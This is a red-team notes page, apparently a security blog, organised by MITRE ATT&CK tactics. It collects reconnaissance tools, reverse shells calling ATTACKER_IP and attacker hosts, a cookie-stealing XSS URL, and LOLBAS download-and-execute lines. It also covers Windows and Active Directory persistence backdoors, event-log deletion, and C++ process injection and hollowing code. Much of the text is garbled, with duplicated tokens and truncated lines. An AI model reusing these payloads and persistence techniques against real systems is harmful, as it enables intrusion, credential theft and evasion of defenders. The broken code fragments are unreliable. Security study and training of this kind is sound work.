Red Teaming Notes - Hailstorm Security
Red Teaming Notes - Hailstorm Security
64 min read
Published at: Dec 13, 2023 (Updated at: Dec 14, 2023)
Offensive security is just as important as pure defensive action and just as fun! Here I have my long, long list of
notes structured after Mitre Attack.
=
🔥 MITRE ATT&CK 🔥
=
🔍 Reconnaissance (TA0043)
General tips
> - ALWAYS use a VPN to avoid being IP blocked
Passive Recon
Browsers
Query browser search results
Syntax Function
walkthrough intitle:TryHackMe Find pages with a specific term in the page title
challenge inurl:tryhackme Find pages with a specific term in the page URL
Recommended source which store predefined search terms: GHDB
Public Databases
LinkedIn
www.xlek.com
namechk.com
www.shodan.io
www.network-tools.com
viewdns.info
www.securityspace.com
whatsmyname.app
Can use platforms which is not in use to impersonate
Job ads
Can give you a good look into a companies infrastructure, or at least some contact information
Wayback Machine can be helpful to retrieve previous versions of a job opening page on your client’s site.
Active Recon
Active + Passive Recon
Note that the majority of active recon tools also have flag support for passive recon (or the other way around)
nslookup
server 10.142.147.1
ls -d target.tgt
Linux:
Nmap
Network enumeration
Warning
ICMP and SYN scans cannot be tunnelled through socks proxies, so we must disable ping discovery ( -Pn ) and specify
TCP scans ( -sT ) for this to work.
Prepared
Zenmap can take the .xml output and graphically display the traceroute and topology
Nmap to searchsploit:
sudo nmap -sV -p PORTS -oX searchsploit.xml && searchsploit --nmap searchsploit.xml
Scripts
--script scriptname : run scripts locate *.nse : list all scripts
Good scripts:
dns-brute Attempts to enumerate DNS hostnames by brute force guessing of common subdomains.
smb-os- Attempts to determine the operating system, computer name, domain, workgroup, and current time
discovery over the SMB protocol (ports 445 or 139).
Attempts to guess username/password combinations over SMB, storing discovered combinations for
smb-brute
use in other scripts.
smb-enum-
Tries to enumerate shares.
shares
smb-enum-
Tries to enumerate users of the shares.
users
Other flags
Flag Function
-g source port (-g 443 to resemble https, or -g 53 for UDP to resemble DNS )
Packet fragmentation
to provide a custom size for data carried within the IP packet. The size should be a multiple
--mtu SIZE
of 8.
Packet fragmentation
end
--ip-options "[S/L] IP
Strict and loose routing
IP2"
Masscan
Masscan example:
Amass
Search Open Technical Databases T1596
WHOIS T1596.002
Subcommands:
Examples
Enumerate domain:
# Example output
[DNS] globomantics.com 52.41.231.159
[Wayback] www.globomantics.com 54.186.181.37,35.81.29.197,52.41.231.159
Scans
Enumerate asn
List scans:
Show scan:
Graph:
Sn1per
Swiss army knife of reconnaissance
VPN
For passive: sniper -t domain.test -m stealth -o -re , where -o is OSINT and re is reconnaissance.
Install
theHarvester
Passive (and active) reconnaissance against targeted domains*
VPN
Other flags: -c : brute dns -n : dns lookup -b : platforms, e.g. arguments twitter and LinkedIn (all will go to all platforms)
Recon-ng
OSINT Automation
Enumerate externally facing software apllications technologies, languages, and dependencies T1261
Workflow:
3. Search the marketplace for a module and learn about it before installing
Create a workspace
Insert information
Insert domain:
db insert domains
Marketplace
Installed modules
modules search
modules load MODULE
Keys
keys list
keys add KEY_NAME KEY_VALUE
keys remove KEY_NAME
Recon-web
Will list all information we have gathered on a web interface with easy options to export data etc.
Maltego
Blends mindmapping with recon - start with one piece of information and transform it into more
Gobuster
Directory bruteforce:
DNS bruteforce:
Threads
Default threads is 10 ( -t )
Cloud Scanning
www.builtwith.com summarises service providers for given site
IP address enumeration:
# https://www.microsoft.com/en-us/download/details.aspx?id=56519
Simple payloads
PHP-reverse-shell:
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.ph
Groovy: Java payloads work for groovy as well
String host=
host="10.14.46.99";
"10.14.46.99";
port=
int port =4444
4444;
;
cmd=
String cmd ="cmd.exe"
"cmd.exe";;
p=
Process p =new ProcessBuilder
ProcessBuilder(
(cmd
cmd)
).redirectErrorStream
redirectErrorStream((true
true)
).start
start(();Socket s=
s=new Socket
Socket((host
host,,port
port)
)
https://www.hackingarticles.in/exploiting-jenkins-groovy-script-console-in-multiple-ways/
#!/bin/bash
echo
echo " * Encoding command"
encode=
encode ="`echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0`"
echo $encode
command=
command="cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc $encode"
$encode"
echo
echo " * Final command"
echo $command
echo
echo " * Groovy command "
echo " def process=\"
process=\"$command
$command\"
\".execute();"
.execute();"
echo " println(\"
println( \"\
\ ${process.text}\"
${process.text}\");
); "
echo
echo " * Starting HTTP Server to serve payload"
python3 -m http.server
MsfVenom
Generate payloads
Windows:
Listener:
payload.vbs
// or
Tip
html>
<html >
body>
<body>
script>
<script >
var c c=
= 'cmd.exe'
ActiveXObject(
new ActiveXObject ('WScript.Shell'
'WScript.Shell')
).Run
Run((c);
script>
</script >
body>
</body>
html>
</html>
Executes cmd.exe
Console:
Execute program:
Sub AutoOpen(
AutoOpen()
PoC
End Sub
Sub Document_Open(
Document_Open()
Poc
End Sub
Sub PoC(
PoC()
Dim payload As String
payload = "calc.exe"
CreateObject(
CreateObject("Wscript.Shell"
"Wscript.Shell")
).Run payload,
payload,0
End Sub
Binder
Will merge the payload into another executable
Fool user into thinking they execute something else
Credential lists
Defaults:
https://cirt.net/passwords
https://default-password.info/
https://datarecovery.com/rd/default-passwords/
Cewl.rb-
Password list from website
Basic use:
--email_file FILE:
username_generator
Generate username from known info, e.g. John Smith -> jsmith, smithjohn, etc.
Source: https://github.com/therodri2/username_generator.git
crunch
Generate specific password list
@ - lower
, - upper
% - numeric
^ - special
Source: https://github.com/Mebus/cupp.git
John rules
See Custom rule
You can use metasploit to upgrade into a meterpreter shell: sessions -u session_numeber You can also
background tasks to prevent multiple windows with: run -j
To list all modules you can load, simply type load and then press tab twice. After you've loaded a modules, you will
find all the commands at the bottom of the help command.
FireProx
Manage AWS API Gateways: https://github.com/ustayready/fireprox
Burp Suite
Feature Functionality
The most well-known aspect of Burp Suite, the Burp Proxy allows us to intercept and modify
Proxy:
requests/responses when interacting with web applications.
The second most well-known Burp feature -- Repeater -- allows us to capture, modify, then resend the
same request numerous times. This feature can be absolutely invaluable, especially when we need to
Repeater:
craft a payload through trial and error (e.g. in an SQLi -- Structured Query Language Injection) or when
testing the functionality of an endpoint for flaws.
Feature Functionality
Although harshly rate-limited in Burp Community, Intruder allows us to spray an endpoint with requests.
Intruder:
This is often used for bruteforce attacks or to fuzz endpoints.
Though less-used than the previously mentioned features, Decoder still provides a valuable service when
transforming data -- either in terms of decoding captured information, or encoding a payload prior to
Decoder:
sending it to the target. Whilst there are other services available to do the same job, doing this directly
within Burp Suite can be very efficient.
As the name suggests, Comparer allows us to compare two pieces of data at either word or byte level.
Again, this is not something that is unique to Burp Suite, but being able to send (potentially very large)
Comparer:
pieces of data directly into a comparison tool with a single keyboard shortcut can speed things up
considerably.
We usually use Sequencer when assessing the randomness of tokens such as session cookie values or
Sequencer: other supposedly random generated data. If the algorithm is not generating secure random values, then
this could open up some devastating avenues for attack.
Quickly and easily load extensions into the framework, as well as providing a marketplace to download
Extender:
third-party modules (referred to as the "BApp Store").
Proxy HTTPS
1. Go into the 'Target' tab and right-click the address you want to scope
2. Or, you can go into 'Settings' and 'Project' -> 'Scope'. This is the same location you will find if you click on 'Scope
Settings' from point 1.
By adding targets to scope - we won't log everything but by default we will still capture everything in the proxy.
To disable this, or filter further, go to:
Name Functionality
Takes a single payload (e.g. worldlist) and fuzzes with it for each position. Thus the number of requests
Sniper
will be requests = numberOfWords * numberOfPositions . Good for single-position attacks.
Battering
Takes a single payload and fuzzes with the same payload for every position. Probably not useful at all.
Ram
Like multiple snipers. It can take multiple payloads and run through them for respective position
Pitchfork
simultaneously.
Cluster Takes multiple payloads - but instead of running them simultaneously, it will try for every single
Bomb combination. E.g. try every password for every user.
Rate limit
Without Burp Professional the tool has a heavy rate-limit - which causes many Burp Community users to use similar
command line tools such as Wfuzz or Ffuf .
Request Helps with time based attacks. E.g. if the response time is https://github.com/portswigger/request-
Timer different from a valid username to an invalid one. timer
Command injection
Experiment with different commands and separators:
-h
PARAM ; echo Injected # Unix
echo Injected| # Perl
PARAM | echo Injected
PARAM || echo Injected
PARAM & echo Injected
PARAM && echo Injected
$(echo Injected) # Unix
'echo Injected' # Unix
>(echo Injected) # Unix
Tip!
Always question yourself: What do you input - which will process output? How can we manipulate that?
UNION is used to chain multiple sql-statements together - however it needs the same amount of columns as on the other
side of the statement. E.g.: If there is 5 columns called - then the following injection would work: 1 UNION SELECT
1,2,3,4,5
group_concat() helps concatenate the output - which could help if the page only outputs the first entry (in this case to
get all columns instead of the first one)
Sqlmap
Url:
sqlmap -u "https://testurl.com/test.php?sqlmap=1"
-u: url
-D x: enumerate database x
-T x: enumerate table x
XSS
XSS Vulnerability scanners and payloads Automated tools:
ZAP
Arachni
Wapiti
Burp
Acunetix
<!-- Look for which of the following is getting through to see what you can work with in an XSS --
'';!--"<
'';!--" <XSS
XSS>>=&{()}"
<!-- Try and throw an alert -->
<SCRIPT LANGUAGE=Javascript>alert ("Vulnerable to XSS");</SCRIPT>
Steal cookie
http://website.com/search.php?word=`<SCRIPT>documents.location='http://attackersite/cgi-bin/grab.c
SMB
smbclient
rpcclient
rpcclient:
Interesting files:
OS FILES
Application files
E.g. /var/www/html/auth.config.js
Credentials
/proc/PID/environ (guess process id)
/etc/environment
BUT we can automate the request process of e.g. normal files on a filesystem
Can disclose sensitive data such as authentication keys in some cloud providers
Vulnerable:
DigitalOcean Droplets
Alibaba Cloud
Azure
...
⚔️ Execution (TA0002)
Exploiting AD
Cheat sheet
Exploiting ACEs
Access Control Entries (ACEs)
ForceChangePassword: We have the ability to set the user's current password without knowing their current password.
AddMembers: We have the ability to add users (including our own account), groups or computers to the target group.
Add-ADGroupMember "group" -Members "your_account"
GenericAll: We have complete control over the object, including the ability to change the user's password, register an
SPN or add an AD object to the target group.
GenericWrite: We can update any non-protected parameters of our target object. This could allow us to, for example,
update the scriptPath parameter, which would cause a script to execute the next time the user logs on.
WriteOwner: We have the ability to update the owner of the target object. We could make ourselves the owner, allowing
us to gain additional permissions over the object.
WriteDACL: We have the ability to write new ACEs to the target object's DACL. We could, for example, write an ACE that
grants our account full control over the target object.
AllExtendedRights: We have the ability to perform any action associated with extended AD rights against the target
object. This includes, for example, the ability to force change a user's password.
Tools:
AD-RSAT
Constrained Delegation
HTTP - Used for web applications to allow pass-through authentication using AD credentials.
CIFS - Common Internet File System is used for file sharing that allows delegation of users to shares.
LDAP - Used to delegate to the LDAP service for actions such as resetting a user's password.
MSSQL - Allows delegation of user accounts to the SQL service for pass-through authentication to databases.
Exploitation:
Exploiting certificates
Enumerate:
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT - The certificate template allows us to specify the Subject Alternative Name
(SAN).
Certificate Permissions - We have the required permissions to use the certificate template.
Rubeus.
Rubeus .exe asktgt /user:Administrator /enctype:aes256 /certificate: /password: /outfile:FILENAME
outfile:FILENAME.
.k
🏠 Persistence (TA0003)
General tips
Tips
Due to rotation of full admin creds - have access to accounts which has:
Netcat
Backdoor
Target:
nc ip port -e shelltype
Attacker:
nc -lvp port
Persistence
Windows:
Linux:
Cronjob
-L
echo 'while [ 1 ]; do echo "Started"; nc -lp port -e shelltype; done' > listener.sh;
listener.sh; chmod 555 ./l
Socat
-d -d provides some debugging data (fatal, error, warning, and notice messages)
cert=PEM_FILE provides the PEM file (certificate and private key) to establish the encrypted connection
Victim:
Account Tampering
Backup Operators
Require Administrator access!
# Edit the file by appending ",user" by the end of "SeBackupPrivilege" and "SeRestorePrivilege"
Hijack RID
Require Administrator access AND RDP access (WinRM)!
# Go to `HKLM\SAM\SAM\Domains\Account\Users\` -> Edit folder with RID (in hex) -> Edit value F ->
File Tampering
Example payload:
Services
Backdoor Service
sc create binPath= "net user Administrator Passwd123" start= auto obj= "LocalSystem"
Executable
Modify Service
1. Enumerate services: sc query
Scheduled Task
Invisible task
Require SYSTEM privilege
Create task:
schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "c:\tools\nc64 -e cmd.exe ATTACKER_IP 4
SUCCESS: The scheduled task "THM-TaskBackdoor" has successfully been created.
Logon Trigger
Startup
Logon folder:
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
Winlogon
Registry keys that will load user profile on startup: HKLM\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon\
Logon script
Limited to current user only!
Existing Services
Web shell
Move a webshell into C:\inetpub\wwwroot\ (might have to grant full permission to the file)
MSSQL
1. Enable xp_cmdshell
sp_configure 'xp_cmdshell',1;
RECONFIGURE;
GO
2. Give privilege to impersonate sa user (default database admin)
USE master
USE HRDB
4. Create a trigger - in this case when there is an insert into the employees table
sql_backdoor]
CREATE TRIGGER [sql_backdoor ]
HRDB.
ON HRDB .dbo
dbo..Employees
FOR INSERT AS
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
WMI Events
WMI Events allow programs to subscribe to events and execute code
A More flexible scheduled tasks
Managed Object Format (.mof) uses C++-like language to describe WKI events
Compiled with mofcomp.exe
Metasploit:
use exploit/windows/local/wmi_persistence
...
run
Golden Certificate
See Mimikatz or this link on extracting CA certificate
Tool: ForgeCert
SubjectAltName
User Principal Name (UPN) of the account we want to impersonate and have to be a legitimate user.
Serious persistence
Since we exported the CA and generated the certificate ourselves, it does not appear on AD CS's list of issued
certificates, meaning the blue team will not be able to revoke our certificate. So what's the only solution to remove the
persistence? Well, this is why we are no longer friends. They will have to revoke the root CA certificate. But revoking this
certificate means that all certificates issued by AD CS would all of a sudden be invalid.
SID History
Prerequisites: Domain Admin or equivalent
Sneaky
This will be very sneaky since the only way to remove it is through powershell AND finding it in the first place can only
be done by actively checking SID history. Credential rotation may however remove our persistence if we cannot regain
the access.
IT Support
Nesting:
domain_admins
└── group_1
└── group_2
└── group_3
└── user
Breaks AD structure
In real life situations we would use existing groups and not create new ones - but this will destroy the AD-structure and
should not be done during an assessment
ACL Persistence
Basics
AdminSDHolder is a template that exists in every AD. Its ACL is used as a template to copy permissions to all
https://docs.microsoft.com/en-us/previous-versions/technet-magazine/ee361593(v=msdn.10">protected groups>).
SDProp applies the ACL of AdminSDHolder every 60 minuts
2. Go to security properties
Persist anywhere
grant full control to the Domain Users group in the AdminSDHolder group, which means any low-privileged user would
be granted full control over all Protected Groups. Combining this with a full DC Sync means the blue team will have to
reset every single credential in the domain to flush us out completely.
GPO Persistence
In MMC:
4. Now add the group to be a member of: Administrators & Remote Desktop Users
Example
Payload:
Example
Trojan/Enabler:
Example
2. GPO Creation:
1. File->Add snap-in->Group Policy Management
2. Default Domain Policy (or any other group/OU you want persistence on)->Right Click->Create a GPO in this domain
5. Go back to mmc->Right Click ENTERPRISE DOMAIN CONTROLLERS->Edit Settings, delete, modify security-> Click on
all groups except Authenticated Users and Remove->Advanced->Remove Created Owner from permissions
6. LAST STEP, change the read permission to computers so that users cannot read the policy: Add->Domain Computers-
>Check Names OK->Read permissions OK->Authenticated Users->Remove (NOTE: cannot edit the policy after this)
Sneaky
Due to it hiding the policy from the users - you need to first impersonate the DC machine acount to read it
Other
Skeleton keys - Using Mimikatz, we can deploy a skeleton key. Mimikatz created a default password that will work for
any account in the domain. Normal passwords will still work, making it hard to know that this attack has taken place. This
default password can be used to impersonate any account in the domain.
Directory Service Restore Mode (DSRM) - Domain controllers have an internal break glass administrator account called
the DSRM account. This password is set when the server is promoted to a DC and is seldom changed. This password is
used in cases of emergencies to recover the DC. An attacker can extract this password using Mimikatz and use this
password to gain persistent administrative access to domain controllers in the environment.
Malicious Security Support Provider (SSP) - Exploiting the SSP interface, it is possible to add new SSPs. We can add
Mimikatz's mimilib as an SSP that would log all credentials of authentication attempts to a file. We can specify a network
location for logging, which would allow mimilib to send us credentials as users authenticate to the compromised host,
providing persistence.
Computer Accounts - The passwords for machine accounts are normally rotated every 30 days. However, we can alter
the password of a machine account which would stop the automatic rotation. Together with this, we can grant the
machine account administrative access to other machines. This will allow us to use the computer account as a normal
account, with the only sign of the persistence being the fact that the account has administrative rights over other hosts,
which is often normal behaviour in AD, so that it may go undetected.
Cloud Persistence
All can be modified for persistence
VMs
Functions
Containers
Group SIDs
Privileges
And more...
Primary access tokens: those associated with a user account that are generated on log on
Impersonation tokens: these allow a particular process (or thread in a process) to gain access to resources using the
token of another (user/client) process. Think similar to how SUID-bits work in Linux. Levels of impersonation token:
SecurityAnonymous: current user/client cannot impersonate another user/client
SecurityIdentification: current user/client can get the identity and privileges of a client but cannot impersonate the
client
SecurityImpersonation: current user/client can impersonate the client's security context on the local system
SecurityDelegation: current user/client can impersonate the client's security context on a remote system
Even though you have a higher privileged token, you may not have the permissions of a privileged user (this is due to
the way Windows handles permissions - it uses the Primary Token of the process and not the impersonated token to
determine what the process can or cannot do).
SeImpersonatePrivilege
SeAssignPrimaryPrivilege
SeTcbPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeCreateTokenPrivilege
SeLoadDriverPrivilege
SeTakeOwnershipPrivilege
SeDebugPrivilege
Unquoted paths
Take Ownership
Prerequisites:
whoami /priv
SeChangeNotifyPrivilege Bypass traverse checking Enabled
For this example we will use the built in utilman.exe , GUI to open Easy of Access on lock screene - done as system
takeown /f C:\Windows\System32\Utilman.
C:\Windows\System32\Utilman.exe
icacls C:\Windows\System32\Utilman.
C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
C:\Windows\System32\cmd.
copy C:\Windows\System32\cmd .exe C:\Windows\System32\Utilman
C:\Windows\System32\Utilman..exe
Now we can use the GUI and a system shell will spawn
RogueWinRM.exe
Prerequisites:
whoami /priv
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
# or
SeImpersonatePrivilege Impersonate a client after authentication Enabled
RogueWinRM.exe -p "C:
"C:\t
\tools
ools\n
\nc64.exe"
c64.exe" -a "-e cmd.exe ATTACKER_IP 4442"
Evil-WinRM
evil-winrm -i 10.10
10.10.126.100
.126.100 -u thmuser1 -p Password321
hklm\
reg save hklm \system system.bak
reg save hklm
hklm\\sam sam.bak
download system.bak
download sam.bak
Generate hash
sudo -l
User executes the file with the permission of the File created in directory gets the same group
SGID Bit
group owner. owner.
Permission On Files On Directories
Example
Let's say a binary with SUID-bit active (root owner) runs ifconfig and not /usr/sbin/ifconfig .
SETUID shell
File with the setuid-bit set will run with priv of the owner - not the current user
cp /bin/sh /tmp/backdoor
sudo chown root:root /tmp/backdoor
sudo chmod 4755 /tmp/backdoor
/tmp/backdoor -p
Services
Prerequisites:
Service]
[Service ]
Type=
Type=simple
User=
User=root
ExecStart=
ExecStart =/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1'
Install]
[Install ]
WantedBy=
WantedBy=multi-user.target
----------------------------------- OR -----------------------------------
TF=
TF =$(
$(mktemp
mktemp)
).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c “chmod +s /bin/bash”
[Install]
WantedBy=multi-user.target' > $TF
./systemctl link $TF
./systemctl enable --now $TF
bash -p
Software
Enumerate software:
$ErrorActionPreference = "Stop"
$cmd = "net user mgraccount SimplePass123 /add & net localgroup administrators mgraccount /add"
$s = New-Object System.
System.Net.
Net.Sockets.
Sockets.Socket(
Socket(
::InterNetwork,
[System.Net.Sockets.AddressFamily]::InterNetwork ,
::Stream,
[System.Net.Sockets.SocketType]::Stream ,
[System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)
$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)
Scanners
WinPEAS
Github: https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS
LinPEAS
Github: https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
PrivescCheck
Github: https://github.com/itm4n/PrivescCheck
Prerequisites
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1
Looks through common miss configurations within windows for easy privilege escalation.
Before running:
wes.py --update
Metasploit - Scanner
use multi/recon/local_exploit_suggester
Cloud Elevation
The goal - access to obtain data from cloud asset
Privesc:
Add user to new group with more privilege?
User services
Google Drive
OneDrive
Exfiltrate:
Direct download, or
gsutil
Examples:
attachmentnames:annualreport
subject:"payment"
Pacu Framework
Metasploit for AWS
The examples are general, check the LOLBAS/GTFOBins database for more correct use and additional exploitation
[!warning] Match the OS architecture with payload Note that the 32-bit executables are located in
C:\Windows\System32\ and the 64-bits in C:\SysWOW64\ - with that you also need to match the payload
architecture to the executable.
LOLBAS
Source: https://lolbas-project.github.io/#
Types (#):
Script
Binary
Libraries
OtherMSBinaries
GTFOBins
Source: https://gtfobins.github.io/
Types (+):
Shell
Reverse shell
Bind shell
File upload
File write
Library load
Sudo
Limited SUID
Bash(.exe)
Use case:
AWL-bypass
execution
bash.
bash.exe -c calc.
calc.exe
BITSAdmin
Use case:
downloader
execution
bitsadmin.
bitsadmin.exe /transfer /Download /priority Foreground http:/
http://Attacker_IP/payload.
Attacker_IP/payload.exe c:\Users\thm
Certutil
Use case:
downloader
encoder
Download files:
Encoding / Decoding:
payload.
certutil -[encode / decode] payload.exe Encoded-payload.
Encoded-payload.txt
Explorer
Use case:
execution
Execute program:
explorer.
explorer.exe /root
root,
,"C:\Windows\System32\calc.exe"
FindStr
Use case:
downloader
Download SMB:
Msbuild
Use case:
execution
AWL-bypass
msbuild.
msbuild .exe project.
project.csproj
PowerLessShell
Can be used in combination with PowerLessShell to generate a payload which will execute malicious code without
showing an instance of the PowerShell process
Net
Use case:
enumeration
persistence
AD
Access drive: z:
Map local drive of remote target C$ (require admin): net use * \\target\C$ password /u:targetIP\username
InstallUtil
Use case:
execution
Having malicious code in the uninstall function and uninstalling the program will execute the malicious code
Regsvr32
Use case:
AWL-bypass
execution
C:\Users\thm> c:\Windows\System32\regsvr32.
c:\Windows\System32\regsvr32.exe c:\Users\thm\Downloads\live0fftheland.
c:\Users\thm\Downloads\live0fftheland.dll
C:\Users\thm> c:\Windows\System32\regsvr32.
c:\Windows\System32\regsvr32.exe /s /n /u /i:http:
i:http:///example
example..com/file
com/file.
.sct Downloads\l
Rundll32
Use case:
execution
ADS
JavaScript:
rundll32.
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication
javascript:"\..\mshtml.dll,RunHTMLApplication ";
";eval
eval(
("w=new ActiveXObject(\"WScript
ActiveXObject(\"WScript..S
PowerShell:
Shortcuts
Use case:
execution
WMIC
Use case:
execution
enumeration
ADS
wmic.
wmic.exe process call create calc
Enumerate:
1. Delete the current log record with DeleteRecordofFileEx.exe Security.evtx id_of_event . This also creates a
temp.evtx in the current directory.
\temp.
Copy-Item .\temp .evtx C:\Windows\System32\winevt\Logs\Security.
C:\Windows\System32\winevt\Logs\Security.evtx
4. Now start the service again with same commands as 2. (replace stop with start)
Process Injection
1. Open a target process with all access rights.
E.g.:
OpenProcess(
processHandle = OpenProcess (
PROCESS_ALL_ACCESS,
PROCESS_ALL_ACCESS , // Defines access rights
FALSE,
FALSE , // Target handle will not be inhereted
DWORD(
DWORD (atoi
atoi((argv
argv[
[1])) // Local process supplied by command-line arguments
);
VirtualAllocEx(
remoteBuffer = VirtualAllocEx (
processHandle,
processHandle , // Opened target process
NULL,
NULL,
shellcode,
sizeof shellcode , // Region size of memory allocation
MEM_COMMIT)
(MEM_RESERVE | MEM_COMMIT ), // Reserves and commits pages
PAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);
WriteProcessMemory(
WriteProcessMemory (
processHandle,
processHandle , // Opened target process
remoteBuffer,
remoteBuffer, // Allocated memory region
shellcode,
shellcode , // Data to write
shellcode,
sizeof shellcode , // byte size of data
NULL
);
CreateRemoteThread(
remoteThread = CreateRemoteThread (
processHandle,
processHandle , // Opened target process
NULL,
NULL,
0, // Default size of the stack
LPTHREAD_START_ROUTINE)
(LPTHREAD_START_ROUTINE )remoteBuffer
remoteBuffer,, // Pointer to the starting address of the thread
NULL,
NULL,
0, // Ran immediately after creation
NULL
);
Process Hollowing
1. Create a target process in a suspended state.
4. Allocate memory locations for malicious code and write each section into the address space.
CreateProcessA(
if (CreateProcessA (
(LPSTR)"C:\\\\Windows\\\\System32\\\\svchost.exe", // Name of module to execute
NULL,
NULL,
NULL,
TRUE, // Handles are inherited from the calling process
CREATE_SUSPENDED, // New process is suspended
NULL,
NULL,
target_si, // pointer to startup info
target_pi) </b> 0) { // pointer to process information
cout << "[!] Failed to create Target process. Last Error: " << GetLastError();
return 1;
DWORD numberOfBytesRead;
numberOfBytesRead; // Stores number of bytes read
if (!ReadFile
ReadFile(
(
hMaliciousCode,
hMaliciousCode , // Handle of malicious image
pMaliciousImage,
pMaliciousImage , // Allocated region of memory
maliciousFileSize,
maliciousFileSize, // File size of malicious image
numberOfBytesRead,
&numberOfBytesRead , // Number of bytes read
NULL
)) {
cout << "[!] Unable to read Malicious file into memory. Error: " <<GetLastError
<<GetLastError(()<< endl;
endl;
TerminateProcess(
TerminateProcess (target_pi
target_pi->
->hProcess
hProcess,
, 0);
return 1;
}
CloseHandle(
CloseHandle (hMaliciousCode
hMaliciousCode));
PVOID pTargetImageBaseAddress;
ReadProcessMemory(
target_pi->hProcess, // Handle for the process obtained from the PROCESS_INFORMATION structure
(PVOID)(c.Ebx + 8), // Pointer to the base address
&pTargetImageBaseAddress, // Store target base address
sizeof(PVOID), // Bytes to read
0 // Number of bytes out
);
WriteProcessMemory(
WriteProcessMemory (
target_pi->
target_pi ->hProcess
hProcess,, // Handle of the process obtained from the PROCESS_INFORMATION struct
PVOID)
(PVOID )((LPBYTE
LPBYTE))pHollowAddress + pSectionHeader
pSectionHeader->
->VirtualAddress
VirtualAddress)), // Base address of curre
PVOID)
(PVOID )((LPBYTE
LPBYTE))pMaliciousImage + pSectionHeader
pSectionHeader->
->PointerToRawData
PointerToRawData)), // Pointer for conten
pSectionHeader->
pSectionHeader ->SizeOfRawData
SizeOfRawData,
, // Byte size of current section
NULL
);
}
SetThreadContext(
target_pi->hThread, // Handle to the thread obtained from the PROCESS_INFORMATION structure
&c // Pointer to the stored context structure
);
ResumeThread(
ResumeThread(
target_pi->
target_pi ->hThread
hThread // Handle to the thread obtained from the PROCESS_INFORMATION structure
);
Process Hijacking
1. Locate and open a target process to control.
Note that the first block is the same as in Process Injection when writing payload to memory
THREADENTRY32 threadEntry;
threadEntry;
Thread32Next(
while (Thread32Next( // Obtains the next thread in the snapshot
snapshot,
snapshot, // Handle of the snapshot
&threadEntry // Pointer to the THREADENTRY32 structure
)) {
SuspendThread(
SuspendThread (hThread
hThread));
CONTEXT context;
context;
GetThreadContext(
GetThreadContext(
hThread,
hThread , // Handle for the thread
&context // Pointer to store the context structure
);
context.
context .Rip = (DWORD_PTR
DWORD_PTR))remoteBuffer
remoteBuffer;; // Points RIP to our malicious buffer allocation
SetThreadContext(
SetThreadContext (
hThread,
hThread , // Handle for the thread
&context // Pointer to the context structure
);
ResumeThread(
ResumeThread(
hThread // Handle for the thread
);
DLL Injection
1. Locate a target process to inject.
WriteProcessMemory(
WriteProcessMemory (
hProcess,
hProcess, // Handle for the target process
dllAllocatedMemory,
dllAllocatedMemory , // Allocated memory region
dllLibFullPath,
dllLibFullPath , // Path to the malicious DLL
strlen(
strlen (dllLibFullPath
dllLibFullPath)) + 1, // Byte size of the malicious DLL
NULL
);
Execution alternatives:
void(
((void(*)())addressPointer
addressPointer))();
2. Cast the allocated memory pointer or shellcode array into the function pointer ()addressPointer) , outlined in yellow
3. Invoke the function pointer to execute the shellcode (); , outlined in green
From the Microsoft documentation on Asynchronous Procedure Calls, “An asynchronous procedure call (APC) is a function
that executes asynchronously in the context of a particular thread.”
An APC function is queued to a thread through QueueUserAPC . Once queued the APC function results in a software
interrupt and executes the function the next time the thread is scheduled.
In order for a userland/user-mode application to queue an APC function the thread must be in an “alertable state”. An
alertable state requires the thread to be waiting for a callback such as WaitForSingleObject or Sleep .
Now that we understand what APC functions are let's look at how they can be used maliciously! We will use
VirtualAllocEx and WriteProcessMemory for allocating and writing to memory.
QueueUserAPC(
QueueUserAPC (
PAPCFUNC)
(PAPCFUNC )addressPointer
addressPointer,, // APC function pointer to allocated memory defined by winnt
pinfo.
pinfo .hThread
hThread,, // Handle to thread from PROCESS_INFORMATION structure
ULONG_PTR)
(ULONG_PTR )NULL
);
ResumeThread(
ResumeThread (
pinfo.
pinfo .hThread // Handle to thread from PROCESS_INFORMATION structure
);
WaitForSingleObject(
WaitForSingleObject (
pinfo.
pinfo .hThread
hThread,, // Handle to thread from PROCESS_INFORMATION structure
INFINITE // Wait infinitely until alerted
);
Shellcode binaries
Source: https://tryhackme.com/room/avevasionshellcode
Generate shellcode
Staged vs Stageless
Stagesless:
The resulting executable packs all that is needed to get our shellcode working.
The payload will execute without requiring additional network connections. The fewer the network interactions, the lesser
your chances of being detected by an IPS.
